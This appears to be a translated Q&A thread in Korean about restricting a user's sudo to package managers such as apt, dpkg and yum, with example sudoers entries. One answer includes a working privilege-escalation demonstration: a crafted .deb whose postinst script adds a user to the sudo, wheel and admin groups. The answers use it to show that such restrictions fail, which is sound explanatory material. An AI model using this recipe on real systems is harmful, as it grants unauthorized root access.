사용자의 sudo를 rpm/deb로만 제한하는 방법

사용자의 sudo를 rpm/deb로만 제한하는 방법

패키지를 설치하기 위해 rpm/deb만 호출하도록 사용자의 sudo를 제한하는 방법이 있습니까?

답변1

패키지를 설치하기 위해 rpm/deb만 호출하도록 사용자의 sudo를 제한하는 방법이 있습니까?

예, man sudoers이를 수행하는 방법에 대한 자세한 예가 있습니다.

그러나 이것은 의미가 없습니다. rpm을 설치할 수 있도록 허용하면 루트 권한이 부여됩니다. 패키지에는 내가 원하는 작업을 수행하고 루트로 실행하는 임의의 설정 스크립트가 포함될 수도 있고, 단순히 sudo와 동일한 작업을 수행하지만 나를 제한하지 않는 프로그램이 포함될 수도 있습니다.

deb(다른 패키지 관리자나 실제로 코드 실행이 허용된 모든 프로그램과 동일)

답변2

bill실행 기능을 제공하려면 apt-get다음 항목에 추가하세요 /etc/sudoers.

bill          ALL = /usr/bin/apt-get

여러 명령을 실행하는 기능을 제공 john하거나 실행하려면 해당 명령에 대해 확장 가능한 그룹을 좀 더 만들 수 있습니다.bob

User_Alias    INSTALLERS = john, bob

Cmnd_Alias    INSTALL = /usr/bin/dpkg, \
                        /usr/bin/apt, \
                        /usr/bin/yum, \
                        /usr/bin/dnf

INSTALLERS    ALL = INSTALL

저는 원칙적으로 이 아이디어를 좋아합니다. 사용자가 전체 루트 액세스 권한을 부여하지 않고도 신뢰할 수 있는 소스에서 패키지를 설치할 수 있다는 점이 좋기 때문입니다. 액세스 권한은 부여 apt하되 쓰기 권한은 부여하지 마세요 /etc/apt/sources.list{,.d}. 무엇이 잘못될 수 있나요?

그러나 아래에서는 이것이 얼마나 쉽게 남용될 수 있는지 보여 드리겠습니다.

$ mkdir -p elevator_1.0/DEBIAN
$ cat > elevator_1.0/DEBIAN/control <<EOF
Package: elevator
Version: 1.0
Architecture: all
Maintainer: Anonymous <[email protected]>
Description: Malicious permission elevator
 Installing this package will elevate permissions of a user.
 Uninstalling will not undo this
EOF
$ cat > eleavtor_1.0/DEBIAN/postinst <<EOF
#!/bin/bash
usermod -a -G sudo bob
usermod -a -G wheel bob
usermod -a -G admin bob
echo "bob has been elevated!"
EOF
$ dpkg-deb -b elevator_1.0
dpkg-deb: building package 'elevator' in 'elevator_1.0.deb'.

$ sudo apt install ./elevator_1.0.deb 
...
The following NEW packages will be installed:
  elevator
...
Preparing to unpack .../elevator_1.0.deb ...
Unpacking elevator (1.0) ...
Setting up elevator (1.0) ...
bob has been elevated

더 안전한 방법이 있다면 분명히 관심이 있을 것입니다. 저는 직원들이 공식 데비안 아카이브와 회사 내부 아카이브에서 소프트웨어를 설치할 수 있어야 한다는 이유만으로 루트 액세스 권한을 부여합니다. 신뢰할 수 없는 소스를 추가하지 말라고 했지만 강제할 수는 없습니다.

관련 정보